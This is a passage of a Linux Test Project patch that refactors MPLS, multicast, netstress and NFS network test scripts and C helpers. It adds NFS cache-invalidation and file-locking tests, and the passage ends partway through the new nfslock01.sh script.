a/testcases/network/mpls/mpls03.sh +++ b/testcases/network/mpls/mpls03.sh @@ -6,9 +6,6 @@ TST_SETUP="setup" TST_TESTFUNC="mpls_virt_test" TST_CLEANUP="mpls_virt_cleanup" -. virt_lib.sh -. mpls_lib.sh - setup() { virt_type="gre" @@ -21,4 +18,6 @@ setup() mpls_virt_setup } +. virt_lib.sh +. mpls_lib.sh tst_run diff --git a/testcases/network/mpls/mpls04.sh b/testcases/network/mpls/mpls04.sh index 639a13ef..aae4b351 100755 --- a/testcases/network/mpls/mpls04.sh +++ b/testcases/network/mpls/mpls04.sh @@ -6,9 +6,6 @@ TST_SETUP="setup" TST_TESTFUNC="mpls_virt_test" TST_CLEANUP="mpls_virt_cleanup" -. virt_lib.sh -. mpls_lib.sh - setup() { virt_type="sit" @@ -16,4 +13,6 @@ setup() mpls_virt_setup } +. virt_lib.sh +. mpls_lib.sh tst_run diff --git a/testcases/network/mpls/mpls_lib.sh b/testcases/network/mpls/mpls_lib.sh index 30e06958..380b568b 100755 --- a/testcases/network/mpls/mpls_lib.sh +++ b/testcases/network/mpls/mpls_lib.sh @@ -1,5 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) Linux Test Project, 2018-2022 # Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved. TST_MIN_KVER="4.3" @@ -9,7 +10,6 @@ TST_NEEDS_DRIVERS="mpls_router mpls_iptunnel mpls_gso" TST_NEEDS_CMDS="sysctl modprobe" TST_TEST_DATA="icmp tcp udp" TST_NETLOAD_BINDTODEVICE= -. tst_net.sh mpls_cleanup() { @@ -96,3 +96,5 @@ mpls_virt_test() tst_netload -S $ip6_virt_local -H $ip6_virt_remote -T $type -A $max_size fi } + +. tst_net.sh diff --git a/testcases/network/multicast/mc_cmds/mc_cmds.sh b/testcases/network/multicast/mc_cmds/mc_cmds.sh index 00bbbeed..bd59f3a1 100755 --- a/testcases/network/multicast/mc_cmds/mc_cmds.sh +++ b/testcases/network/multicast/mc_cmds/mc_cmds.sh @@ -28,9 +28,8 @@ TCID=mc_cmds TST_TOTAL=1 - +TST_CLEANUP=do_cleanup TST_USE_LEGACY_API=1 -. tst_net.sh knob="net.ipv4.icmp_echo_ignore_broadcasts" knob_changed= @@ -92,7 +91,6 @@ do_cleanup() tst_rmdir } +. tst_net.sh setup -TST_CLEANUP=do_cleanup - do_test diff --git a/testcases/network/multicast/mc_commo/mc_commo.sh b/testcases/network/multicast/mc_commo/mc_commo.sh index b5370801..bc47fda2 100755 --- a/testcases/network/multicast/mc_commo/mc_commo.sh +++ b/testcases/network/multicast/mc_commo/mc_commo.sh @@ -30,9 +30,8 @@ OUTFILE=mc_commo_out TCID=mc_commo TST_TOTAL=2 - +TST_CLEANUP=do_cleanup TST_USE_LEGACY_API=1 -. tst_net.sh do_setup() { @@ -88,8 +87,8 @@ do_cleanup() tst_rmdir } +. tst_net.sh do_setup -TST_CLEANUP=do_cleanup for i in $(seq 1 $TST_TOTAL); do do_test diff --git a/testcases/network/multicast/mc_member/mc_member.sh b/testcases/network/multicast/mc_member/mc_member.sh index f41b03ac..5f44a1ce 100755 --- a/testcases/network/multicast/mc_member/mc_member.sh +++ b/testcases/network/multicast/mc_member/mc_member.sh @@ -32,9 +32,8 @@ ERRFILE=${ERRFILE:-errors} TCID=mc_member TST_TOTAL=1 TST_COUNT=1 - +TST_CLEANUP=do_cleanup TST_USE_LEGACY_API=1 -. tst_net.sh setup() { @@ -133,7 +132,6 @@ do_cleanup() tst_rmdir } +. tst_net.sh setup -TST_CLEANUP=do_cleanup - do_test diff --git a/testcases/network/multicast/mc_opts/mc_verify_opts.c b/testcases/network/multicast/mc_opts/mc_verify_opts.c index 679b8177..0c1ea3e1 100755 --- a/testcases/network/multicast/mc_opts/mc_verify_opts.c +++ b/testcases/network/multicast/mc_opts/mc_verify_opts.c @@ -1,3 +1,8 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Linux Test Project, 2001-2022 + */ + #include #include #include @@ -19,10 +24,10 @@ int main(int argc, char *argv[]) struct in_addr gimr; struct ip_mreq simr; - unsigned i1, i2, i3, i4; + unsigned int i1, i2, i3, i4; struct hostent *hp, *gethostbyname(); - char sintf[20], gintf[20]; + char sintf[20], gintf[20] = {0}; unsigned char ttl; char loop = 0; unsigned int len = 0; diff --git a/testcases/network/multicast/mc_opts/mc_verify_opts_error.c b/testcases/network/multicast/mc_opts/mc_verify_opts_error.c index 9807e88f..4f189fe5 100755 --- a/testcases/network/multicast/mc_opts/mc_verify_opts_error.c +++ b/testcases/network/multicast/mc_opts/mc_verify_opts_error.c @@ -1,3 +1,8 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Linux Test Project, 2001-2022 + */ + #include #include #include @@ -13,7 +18,7 @@ int main(int argc, char *argv[]) int s; struct in_addr simr, gimr; - unsigned i1, i2, i3, i4; + unsigned int i1, i2, i3, i4; struct hostent *hp, *gethostbyname(); unsigned char ttl; diff --git a/testcases/network/netstress/netstress.c b/testcases/network/netstress/netstress.c index 0914c65b..fb6281cd 100755 --- a/testcases/network/netstress/netstress.c +++ b/testcases/network/netstress/netstress.c @@ -384,6 +384,7 @@ void *client_fn(void *id) inf.raddr_len = sizeof(inf.raddr); inf.etime_cnt = 0; + inf.eshutdown_cnt = 0; inf.timeout = wait_timeout; inf.pmtu_err_cnt = 0; @@ -713,11 +714,15 @@ static void server_cleanup(void) static void move_to_background(void) { - if (SAFE_FORK()) + if (SAFE_FORK()) { + TST_CHECKPOINT_WAIT(0); exit(0); + } SAFE_SETSID(); + TST_CHECKPOINT_WAKE(0); + close(STDIN_FILENO); SAFE_OPEN("/dev/null", O_RDONLY); close(STDOUT_FILENO); @@ -878,9 +883,6 @@ static void setup(void) if (!clients_num) clients_num = sysconf(_SC_NPROCESSORS_ONLN); - if (tfo_value > 0 && tst_kvercmp(3, 7, 0) < 0) - tst_brk(TCONF, "Test must be run with kernel 3.7 or newer"); - if (busy_poll >= 0 && tst_kvercmp(3, 11, 0) < 0) tst_brk(TCONF, "Test must be run with kernel 3.11 or newer"); @@ -1024,4 +1026,6 @@ static struct tst_test test = { {"B:", &server_bg, "Run in background, arg is the process directory"}, {} }, + .max_runtime = 300, + .needs_checkpoints = 1, }; diff --git a/testcases/network/nfs/fsx-linux/fsx.sh b/testcases/network/nfs/fsx-linux/fsx.sh index 58712e87..9bb46ad6 100755 --- a/testcases/network/nfs/fsx-linux/fsx.sh +++ b/testcases/network/nfs/fsx-linux/fsx.sh @@ -10,8 +10,6 @@ TST_TESTFUNC="do_test" -. nfs_lib.sh - do_test() { ITERATIONS=${ITERATIONS:=50000} @@ -25,4 +23,5 @@ do_test() fi } +. nfs_lib.sh tst_run diff --git a/testcases/network/nfs/nfs_stress/Makefile b/testcases/network/nfs/nfs_stress/Makefile index 8cd09586..5b396ded 100755 --- a/testcases/network/nfs/nfs_stress/Makefile +++ b/testcases/network/nfs/nfs_stress/Makefile @@ -9,13 +9,6 @@ include $(top_srcdir)/include/mk/testcases.mk nfs04_create_file: CPPFLAGS += -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE nfs05_make_tree: LDLIBS += -lpthread -INSTALL_TARGETS := nfs_lib.sh \ - nfs01.sh \ - nfs02.sh \ - nfs03.sh \ - nfs04.sh \ - nfs05.sh \ - nfs06.sh \ - nfs07.sh +INSTALL_TARGETS := *.sh include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/network/nfs/nfs_stress/nfs01.sh b/testcases/network/nfs/nfs_stress/nfs01.sh index 356e967e..b21ec789 100755 --- a/testcases/network/nfs/nfs_stress/nfs01.sh +++ b/testcases/network/nfs/nfs_stress/nfs01.sh @@ -10,8 +10,6 @@ TST_TESTFUNC="do_test" -. nfs_lib.sh - do_test() { tst_res TINFO "starting 'nfs01_open_files $NFILES'" @@ -19,4 +17,5 @@ do_test() tst_res TPASS "test finished successfully" } +. nfs_lib.sh tst_run diff --git a/testcases/network/nfs/nfs_stress/nfs01_open_files.c b/testcases/network/nfs/nfs_stress/nfs01_open_files.c index 9342f11b..678d7a9e 100755 --- a/testcases/network/nfs/nfs_stress/nfs01_open_files.c +++ b/testcases/network/nfs/nfs_stress/nfs01_open_files.c @@ -1,3 +1,8 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Linux Test Project, 2001-2022 + */ + #include #include #include @@ -10,7 +15,11 @@ #include #include -#define TEMPLATE "ltpXXXXXX" +#define TEMPLATE_PREFIX "ltp" +#define TEMPLATE_PREFIX_LEN (sizeof(TEMPLATE_PREFIX) - 1) +#define TEMPLATE TEMPLATE_PREFIX "XXXXXX" +#define MSG "I Love Linux!!!\n" +#define MSG_LEN (sizeof(MSG) - 1) int write_something(int); void delete_files(void); @@ -82,7 +91,7 @@ int main(int argc, char *argv[]) int write_something(int fd) { int rc; - const char msg[] = "I Love Linux!!!\n"; + const char msg[] = MSG; int msg_len = strlen(msg); rc = write(fd, msg, msg_len); @@ -101,13 +110,15 @@ void delete_files(void) dirp = opendir("."); for (entp = readdir(dirp); entp; entp = readdir(dirp)) - if (!strncmp(entp->d_name, "apt", 3)) { + if (!strncmp(entp->d_name, TEMPLATE_PREFIX, TEMPLATE_PREFIX_LEN)) { if (stat(entp->d_name, &stat_buffer)) abortx("stat() failed for \"%s\", errno = %d", entp->d_name, errno); - if (stat_buffer.st_size != 23) - abortx("wrong file size for \"%s\"", - entp->d_name); + + if (stat_buffer.st_size != MSG_LEN) + abortx("wrong file size for \"%s\": %d", + entp->d_name, stat_buffer.st_size); + if (unlink(entp->d_name)) abortx("unlink failed for \"%s\"", entp->d_name); diff --git a/testcases/network/nfs/nfs_stress/nfs02.sh b/testcases/network/nfs/nfs_stress/nfs02.sh index e80909b9..b7fbbce9 100755 --- a/testcases/network/nfs/nfs_stress/nfs02.sh +++ b/testcases/network/nfs/nfs_stress/nfs02.sh @@ -12,8 +12,6 @@ TST_CNT=3 TST_TESTFUNC="do_test" LTP_DATAFILES="$LTPROOT/testcases/bin/datafiles" -. nfs_lib.sh - do_test1() { tst_res TINFO "do_test1 $TC" @@ -48,4 +46,5 @@ do_test3() tst_res TPASS "test3 passed" } +. nfs_lib.sh tst_run diff --git a/testcases/network/nfs/nfs_stress/nfs03.sh b/testcases/network/nfs/nfs_stress/nfs03.sh index d68456d3..e9ef5fb7 100755 --- a/testcases/network/nfs/nfs_stress/nfs03.sh +++ b/testcases/network/nfs/nfs_stress/nfs03.sh @@ -8,8 +8,6 @@ TST_CLEANUP="nfs03_cleanup" TST_SETUP="nfs03_setup" TST_TESTFUNC="do_test" -. nfs_lib.sh - DIR_NUM=${DIR_NUM:-"100"} FILE_NUM=${FILE_NUM:-"100"} THREAD_NUM=${THREAD_NUM:-"1"} @@ -68,11 +66,13 @@ do_test() cd ../dir1 wait $pid1 rm_files & + pid3=$! tst_res TINFO "cd dir2 & removing files" cd ../dir2 wait $pid2 rm_files + wait $pid3 tst_res TPASS "test done" } @@ -92,4 +92,5 @@ nfs03_cleanup() nfs_cleanup } +. nfs_lib.sh tst_run diff --git a/testcases/network/nfs/nfs_stress/nfs04.sh b/testcases/network/nfs/nfs_stress/nfs04.sh index 1f59af58..b58bebfa 100755 --- a/testcases/network/nfs/nfs_stress/nfs04.sh +++ b/testcases/network/nfs/nfs_stress/nfs04.sh @@ -12,7 +12,6 @@ # Created by: Robbie Williamson (robbiew@us.ibm.com) TST_TESTFUNC="do_test" -. nfs_lib.sh do_test() { @@ -21,4 +20,5 @@ do_test() tst_res TPASS "Test finished" } +. nfs_lib.sh tst_run diff --git a/testcases/network/nfs/nfs_stress/nfs05.sh b/testcases/network/nfs/nfs_stress/nfs05.sh index 7ddf8239..760b585e 100755 --- a/testcases/network/nfs/nfs_stress/nfs05.sh +++ b/testcases/network/nfs/nfs_stress/nfs05.sh @@ -8,14 +8,12 @@ # # Created by: Robbie Williamson (robbiew@us.ibm.com) -DIR_NUM=${DIR_NUM:-"10"} -FILE_NUM=${FILE_NUM:-"30"} -THREAD_NUM=${THREAD_NUM:-"8"} +DIR_NUM=${DIR_NUM:-"5"} +FILE_NUM=${FILE_NUM:-"20"} +THREAD_NUM=${THREAD_NUM:-"5"} TST_NEEDS_CMDS="make gcc" TST_TESTFUNC="do_test" -. nfs_lib.sh - do_test() { tst_res TINFO "start nfs05_make_tree -d $DIR_NUM -f $FILE_NUM -t $THREAD_NUM" @@ -24,4 +22,5 @@ do_test() tst_res TPASS "test finished" } +. nfs_lib.sh tst_run diff --git a/testcases/network/nfs/nfs_stress/nfs05_make_tree.c b/testcases/network/nfs/nfs_stress/nfs05_make_tree.c index add55e15..e2243ac5 100755 --- a/testcases/network/nfs/nfs_stress/nfs05_make_tree.c +++ b/testcases/network/nfs/nfs_stress/nfs05_make_tree.c @@ -63,7 +63,7 @@ static struct tst_option opts[] = { {"t:", &t_arg, "Number of threads to generate, default: 8"}, {"d:", &d_arg, "Number of subdirs to generate, default: 100"}, {"f:", &f_arg, "Number of c files in each dir, default: 100"}, - {NULL, NULL, NULL} + {} }; static void run_targets(const char *dirname, char *cfile, pid_t tid) @@ -145,9 +145,9 @@ static void *thread_fn(LTP_ATTRIBUTE_UNUSED void *args) tst_brk(TFAIL | TERRNO, "openat(makefile) failed"); if (i == dirs_num - 1) - SAFE_WRITE(1, fd, make_buf_n, sizeof(make_buf_n) - 1); + SAFE_WRITE(SAFE_WRITE_ALL, fd, make_buf_n, sizeof(make_buf_n) - 1); else - SAFE_WRITE(1, fd, make_buf, sizeof(make_buf) - 1); + SAFE_WRITE(SAFE_WRITE_ALL, fd, make_buf, sizeof(make_buf) - 1); SAFE_CLOSE(fd); @@ -160,7 +160,7 @@ static void *thread_fn(LTP_ATTRIBUTE_UNUSED void *args) "openat(%s) failed", cfile); } - SAFE_WRITE(1, fd, prog_buf, sizeof(prog_buf) - 1); + SAFE_WRITE(SAFE_WRITE_ALL, fd, prog_buf, sizeof(prog_buf) - 1); SAFE_CLOSE(fd); } @@ -215,4 +215,5 @@ static struct tst_test test = { .options = opts, .test_all = do_test, .setup = setup, + .max_runtime = 300, }; diff --git a/testcases/network/nfs/nfs_stress/nfs06.sh b/testcases/network/nfs/nfs_stress/nfs06.sh index 3d3e843a..560df05b 100755 --- a/testcases/network/nfs/nfs_stress/nfs06.sh +++ b/testcases/network/nfs/nfs_stress/nfs06.sh @@ -10,9 +10,9 @@ TST_TESTFUNC="do_test" TST_CLEANUP="do_cleanup" -. nfs_lib.sh -THREAD_NUM=${THREAD_NUM:-"2"} +THREAD_NUM="${THREAD_NUM:-2}" +OPERATION_NUM="${OPERATION_NUM:-1000}" do_cleanup() { @@ -27,7 +27,7 @@ do_test() local n=0 local pids for i in $VERSION; do - fsstress -l 1 -d $TST_TMPDIR/$i/$n -n 1000 -p $THREAD_NUM -r -c > /dev/null & + fsstress -l 1 -d $TST_TMPDIR/$i/$n -n $OPERATION_NUM -p $THREAD_NUM -r -c > /dev/null & pids="$pids $!" n=$(( n + 1 )) done @@ -42,4 +42,5 @@ do_test() tst_res TPASS "all fsstress processes completed on '$n' NFS mounts" } +. nfs_lib.sh tst_run diff --git a/testcases/network/nfs/nfs_stress/nfs07.sh b/testcases/network/nfs/nfs_stress/nfs07.sh index 7e5cc85c..34f60cb4 100755 --- a/testcases/network/nfs/nfs_stress/nfs07.sh +++ b/testcases/network/nfs/nfs_stress/nfs07.sh @@ -8,9 +8,10 @@ FILE_COUNT=5000 TST_OPTS="n:" -TST_PARSE_ARGS=do_parse_args +TST_PARSE_ARGS="do_parse_args" TST_TESTFUNC="do_test" TST_SETUP="do_setup" +TST_USAGE="show_usage" do_parse_args() { @@ -19,10 +20,6 @@ do_parse_args() esac } -. nfs_lib.sh - -TST_USAGE="show_usage" - show_usage() { nfs_usage @@ -64,4 +61,5 @@ do_test() tst_res TPASS "All files and directories were correctly listed" } +. nfs_lib.sh tst_run diff --git a/testcases/network/nfs/nfs_stress/nfs08.sh b/testcases/network/nfs/nfs_stress/nfs08.sh new file mode 100644 index 00000000..759b4e41 --- /dev/null +++ b/testcases/network/nfs/nfs_stress/nfs08.sh @@ -0,0 +1,23 @@ +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2023 Petr Vorel +# Test for broken NFS cache invalidation for directories. +# Kernel patch broke cache invalidation, which caused the second 'ls' +# not shown '2'. +# https://lore.kernel.org/linux-nfs/167649314509.15170.15885497881041431304@noble.neil.brown.name/ +# Based on reproducer from Neil Brown + +TST_TESTFUNC="do_test" + +do_test() +{ + tst_res TINFO "testing NFS cache invalidation for directories" + + touch 1 + EXPECT_PASS 'ls | grep 1' + touch 2 + EXPECT_PASS 'ls | grep 2' +} + +. nfs_lib.sh +tst_run diff --git a/testcases/network/nfs/nfs_stress/nfs_lib.sh b/testcases/network/nfs/nfs_stress/nfs_lib.sh index 7a7cd992..a996f7cc 100755 --- a/testcases/network/nfs/nfs_stress/nfs_lib.sh +++ b/testcases/network/nfs/nfs_stress/nfs_lib.sh @@ -1,5 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) Linux Test Project, 2016-2023 # Copyright (c) 2015-2018 Oracle and/or its affiliates. All Rights Reserved. # Copyright (c) International Business Machines Corp., 2001 @@ -27,9 +28,12 @@ NFS_PARSE_ARGS_CALLER="$TST_PARSE_ARGS" TST_OPTS="v:t:$TST_OPTS" TST_PARSE_ARGS=nfs_parse_args TST_USAGE=nfs_usage -TST_NEEDS_TMPDIR=1 +TST_ALL_FILESYSTEMS=1 +TST_SKIP_FILESYSTEMS="exfat,ext2,ext3,fuse,ntfs,vfat,tmpfs" +TST_MOUNT_DEVICE=1 +TST_FORMAT_DEVICE=1 TST_NEEDS_ROOT=1 -TST_NEEDS_CMDS="$TST_NEEDS_CMDS mount exportfs" +TST_NEEDS_CMDS="$TST_NEEDS_CMDS mount exportfs mount.nfs" TST_SETUP="${TST_SETUP:-nfs_setup}" TST_CLEANUP="${TST_CLEANUP:-nfs_cleanup}" TST_NEEDS_DRIVERS="nfsd" @@ -39,8 +43,6 @@ TST_NEEDS_DRIVERS="nfsd" # debugging whether test failures are related to veth/netns). LTP_NFS_NETNS_USE_LO=${LTP_NFS_NETNS_USE_LO:-} -. tst_net.sh - get_socket_type() { local t @@ -54,6 +56,24 @@ get_socket_type() done } +# directory mounted by NFS client +get_local_dir() +{ + local v="$1" + local n="$2" + + echo "$TST_TMPDIR/$v/$n" +} + +# directory on NFS server +get_remote_dir() +{ + local v="$1" + local n="$2" + + echo "$TST_MNTPOINT/$v/$n" +} + nfs_get_remote_path() { local v @@ -64,7 +84,7 @@ nfs_get_remote_path() done v=${1:-$v} - echo "$TST_TMPDIR/$v/$type" + echo "$(get_remote_dir $v $type)" } nfs_server_udp_enabled() @@ -79,7 +99,11 @@ nfs_server_udp_enabled() nfs_setup_server() { - local export_cmd="exportfs -i -o fsid=$$,no_root_squash,rw *:$remote_dir" + local remote_dir="$1" + local fsid="$2" + local export_cmd="exportfs -i -o fsid=$fsid,no_root_squash,rw *:$remote_dir" + + [ -z "$fsid" ] && tst_brk TBROK "empty fsid" if tst_net_use_netns; then if ! test -d $remote_dir; then @@ -94,9 +118,14 @@ nfs_setup_server() nfs_mount() { + local local_dir="$1" + local remote_dir="$2" + local opts="$3" local host_type=rhost local mount_dir + mkdir -p "$local_dir" + tst_net_use_netns && host_type= if [ $TST_IPV6 ]; then @@ -127,6 +156,8 @@ nfs_mount() tst_brk TBROK "mount command failed" fi + + cd "$local_dir" } nfs_setup() @@ -134,7 +165,6 @@ nfs_setup() local i local type local n=0 - local opts local local_dir local remote_dir local mount_dir @@ -149,6 +179,8 @@ nfs_setup() done fi + tst_res TINFO "$(mount.nfs -V)" + for i in $VERSION; do type=$(get_socket_type $n) tst_res TINFO "setup NFSv$i, socket type $type" @@ -157,21 +189,14 @@ nfs_setup() tst_brk TCONF "UDP support disabled on NFS server" fi - local_dir="$TST_TMPDIR/$i/$n" - remote_dir="$TST_TMPDIR/$i/$type" - mkdir -p $local_dir - - nfs_setup_server - - opts="-o proto=$type,vers=$i" - nfs_mount + remote_dir="$(get_remote_dir $i $type)" + nfs_setup_server "$remote_dir" "$(($$ + n))" + local_dir="$(get_local_dir $i $n)" + tst_res TINFO "Mounting $local_dir" + nfs_mount "$local_dir" "$remote_dir" "-o proto=$type,vers=$i" n=$(( n + 1 )) done - - if [ "$n" -eq 1 ]; then - cd ${VERSION}/0 - fi } nfs_cleanup() @@ -186,17 +211,34 @@ nfs_cleanup() local n=0 for i in $VERSION; do - local_dir="$TST_TMPDIR/$i/$n" - grep -q "$local_dir" /proc/mounts && umount $local_dir + local_dir="$(get_local_dir $i $n)" + if grep -q "$local_dir" /proc/mounts; then + tst_res TINFO "Unmounting $local_dir" + umount $local_dir + fi n=$(( n + 1 )) done + sleep 2 n=0 for i in $VERSION; do type=$(get_socket_type $n) - remote_dir="$TST_TMPDIR/$i/$type" - tst_rhost_run -c "test -d $remote_dir && exportfs -u *:$remote_dir" - tst_rhost_run -c "test -d $remote_dir && rm -rf $remote_dir" + remote_dir="$(get_remote_dir $i $type)" + + if tst_net_use_netns; then + if test -d $remote_dir; then + exportfs -u *:$remote_dir + sleep 1 + rm -rf $remote_dir + fi + else + tst_rhost_run -c "test -d $remote_dir && exportfs -u *:$remote_dir" + sleep 1 + tst_rhost_run -c "test -d $remote_dir && rm -rf $remote_dir" + fi + n=$(( n + 1 )) done } + +. tst_net.sh diff --git a/testcases/network/nfs/nfslock01/Makefile b/testcases/network/nfs/nfslock01/Makefile index 978749a8..32dbbba8 100755 --- a/testcases/network/nfs/nfslock01/Makefile +++ b/testcases/network/nfs/nfslock01/Makefile @@ -8,7 +8,7 @@ include $(top_srcdir)/include/mk/env_pre.mk FILTER_OUT_MAKE_TARGETS := nfs_flock_func -INSTALL_TARGETS := nfslock01 +INSTALL_TARGETS := *.sh include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/network/nfs/nfslock01/nfs_flock.c b/testcases/network/nfs/nfslock01/nfs_flock.c index a7673c75..02f105b2 100755 --- a/testcases/network/nfs/nfslock01/nfs_flock.c +++ b/testcases/network/nfs/nfslock01/nfs_flock.c @@ -1,7 +1,17 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* + * Copyright (c) Linux Test Project, 2001-2023 + * Copyright (c) International Business Machines Corp., 2001 + */ + +/*\ + * [Description] + * * Program for testing file locking. The original data file consists of * characters from 'A' to 'Z'. The data file after running this program * would consist of lines with 1's in even lines and 0's in odd lines. + * + * Used in nfslock01.sh. */ #include "nfs_flock.h" @@ -10,69 +20,91 @@ #include #include -#define BYTES 64 -#define LINES 16384 - int main(int argc, char **argv) { - int i, fd, mac; + int i, fd, mac, nchars, nlines; int offset = 0; char buf[BUFSIZ]; - if (argc != 3) { - fprintf(stderr, "Usage: %s \n", argv[0]); + if (argc != 5) { + fprintf(stderr, "Usage: %s \n", + argv[0]); exit(2); } - if ((fd = open(argv[2], O_RDWR)) < 0) { + fd = open(argv[2], O_RDWR); + if (fd < 0) { perror("opening a file"); exit(1); } mac = atoi(argv[1]); + nchars = atoi(argv[3]); + nlines = atoi(argv[4]); + + if (nchars > BUFSIZ) { + fprintf(stderr, "Exceeded the maximum limit of the buffer (%d)\n", BUFSIZ); + exit(3); + } + + if (nchars < 1) { + fprintf(stderr, " must be > 0\n"); + exit(3); + } + + if (nlines < 1) { + fprintf(stderr, " must be > 0\n"); + exit(3); + } /* * Replace a line of characters by 1's if it is process one - * else with 0's. Number of charcters in any line are BYTES-1, + * else with 0's. Number of charcters in any line are nchars-1, * the last character being a newline character. */ - for (i = 0; i < BYTES - 1; i++) { + for (i = 0; i < nchars - 1; i++) { if (mac == 1) buf[i] = '1'; else buf[i] = '0'; } - buf[BYTES - 1] = '\n'; + buf[nchars - 1] = '\n'; - for (i = 0; i < LINES; i++) { + for (i = 0; i < nlines; i++) { if (mac == 1) { /* Set the offset to even lines */ if ((i % 2) == 0) { if (i == 0) offset = 0; else - offset += 2 * BYTES; + offset += 2 * nchars; } else continue; } else { /* Set the offset to odd lines */ if ((i % 2) == 1) { if (i == 1) - offset = BYTES; + offset = nchars; else - offset += 2 * BYTES; + offset += 2 * nchars; } else continue; } - if (writeb_lock(fd, offset, SEEK_SET, BYTES) < 0) - printf("failed in writeb_lock, Errno = %d", errno); + if (writeb_lock(fd, offset, SEEK_SET, nchars) < 0) { + fprintf(stderr, "failed in writeb_lock, errno = %d\n", errno); + exit(1); + } lseek(fd, offset, SEEK_SET); - /* write to the test file */ - write(fd, buf, BYTES); + if (write(fd, buf, nchars) < 0) { + fprintf(stderr, "failed to write buffer to test file, errno = %d\n", errno); + exit(1); + } - if (unb_lock(fd, offset, SEEK_SET, BYTES) < 0) - printf("failed in unb_lock, Errno = %d", errno); + if (unb_lock(fd, offset, SEEK_SET, nchars) < 0) { + fprintf(stderr, "failed in unb_lock, errno = %d\n", errno); + exit(1); + } } exit(0); } diff --git a/testcases/network/nfs/nfslock01/nfs_flock.h b/testcases/network/nfs/nfslock01/nfs_flock.h index 09e3845f..fba4a7f0 100755 --- a/testcases/network/nfs/nfslock01/nfs_flock.h +++ b/testcases/network/nfs/nfslock01/nfs_flock.h @@ -1,3 +1,9 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Linux Test Project, 2001-2009 + * Copyright (c) International Business Machines Corp., 2001 + */ + #include #include #include diff --git a/testcases/network/nfs/nfslock01/nfs_flock_dgen.c b/testcases/network/nfs/nfslock01/nfs_flock_dgen.c index 2b33ca97..6ecdcdc4 100755 --- a/testcases/network/nfs/nfslock01/nfs_flock_dgen.c +++ b/testcases/network/nfs/nfslock01/nfs_flock_dgen.c @@ -1,5 +1,14 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * This program generates data for testing file locking + * Copyright (c) Linux Test Project, 2001-2023 + * Copyright (c) International Business Machines Corp., 2001 + */ + +/*\ + * [Description] + * + * Tool to generate data for testing file locking. + * Used in nfslock01.sh. */ #include @@ -13,32 +22,39 @@ int main(int argc, char **argv) FILE *fp; if (argc != 5) { - printf - ("usage: \n"); + fprintf(stderr, "usage: \n"); exit(2); } fp = fopen(argv[1], "w"); nchars = atoi(argv[2]); + nlines = atoi(argv[3]); + ctype = atoi(argv[4]); + if (nchars > BUFSIZ) { - printf("Exceeded the maximum limit of the buffer (%d)\n", - BUFSIZ); + fprintf(stderr, "Exceeded the maximum limit of the buffer (%d)\n", BUFSIZ); + exit(3); + } + + if (nchars < 1) { + fprintf(stderr, " must be > 0\n"); + exit(3); + } + + if (nlines < 1) { + fprintf(stderr, " must be > 0\n"); exit(3); } - nlines = atoi(argv[3]); - ctype = atoi(argv[4]); k = 0; for (i = 1; i <= nlines; i++) { - if (ctype) c = ((i % 2) ? '1' : '0'); else c = 'A' + k; - for (j = 0; j < nchars; j++) - + for (j = 0; j < nchars - 1; j++) buf[j] = c; fprintf(fp, "%s\n", buf); @@ -53,5 +69,6 @@ int main(int argc, char **argv) } fclose(fp); - return (0); + + return 0; } diff --git a/testcases/network/nfs/nfslock01/nfs_flock_func.c b/testcases/network/nfs/nfslock01/nfs_flock_func.c index 81113618..aee66f40 100755 --- a/testcases/network/nfs/nfslock01/nfs_flock_func.c +++ b/testcases/network/nfs/nfslock01/nfs_flock_func.c @@ -1,3 +1,9 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Linux Test Project, 2001-2012 + * Copyright (c) International Business Machines Corp., 2001 + */ + #include #include diff --git a/testcases/network/nfs/nfslock01/nfslock01.sh b/testcases/network/nfs/nfslock01/nfslock01.sh new file mode 100644 index 00000000..01d59ce8 --- /dev/null +++ b/testcases/network/nfs/nfslock01/nfslock01.sh @@ -0,0 +1,86 @@ +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) Linux Test Project, 2002-2023 +# Copyright (c) 2016-2018 Oracle and/or its affiliates. All Rights Reserved. +# Copyright (c) International Business Machines Corp., 2001 +# +# PURPOSE: +# Two processes open FLOCK_IDATA file simultaneously +# each one locks odd and even lines of the file simultaneously +# and fill them with '0's and '1's. After they find eof, the +# datafiles are compared. + +TST_SETUP="do_setup" +TST_TESTFUNC="do_test" + +NCHARS=${NCHARS:-64} +NLINES=${NLINES:-16384} + +generate_file() +{ + local file="$1" + local nchars="$2" + local nlines="$3" + local val="$4" + local exp_size="$((nchars*nlines))" + local size + + ROD nfs_flock_dgen $file $nchars $nlines $val + + size="$(wc -c $file | awk '{print $1}')" + if [ $size -ne $exp_size ]; then + tst_brk TBROK "could not create '$file' (size: $size, expected: $exp_size)" + fi +} + +do_setup() +{ + if ! tst_is_int $NCHARS || [ $NCHARS -lt 1 ]; then + tst_res TBROK "NCHARS must be > 0" + fi + + if ! tst_is_int $NLINES || [ $NLINES -lt 1 ]; then + tst_res TBROK "NLINES must be > 0" + fi + + nfs_setup + + tst_res TINFO "creating test files (chars: $NCHARS, lines: $NLINES)" + + generate_file flock_data $NCHARS $NLINES 0 + generate_file flock_odata $NCHARS $NLINES 1 +} + +do_test() +{ + tst_res TINFO "Testing locking" + + ROD cp flock_data flock_idata + + tst_res TINFO "locking 'flock_idata' file and writing data" + + nfs_flock 0 flock_idata $NCHARS $NLINES & + local pids=$! + nfs_flock 1 flock_idata $NCHARS $NLINES & + pids="$pids $!" + + tst_res TINFO "waiting for pids: $pids" + for p in $pids; do + wait $p + if [ $? -ne 0 ]; then + tst_brk TFAIL "nfs_lock process failed" + else + tst_res TINFO "$p completed" + fi + done + + diff flock_odata flock_idata + if 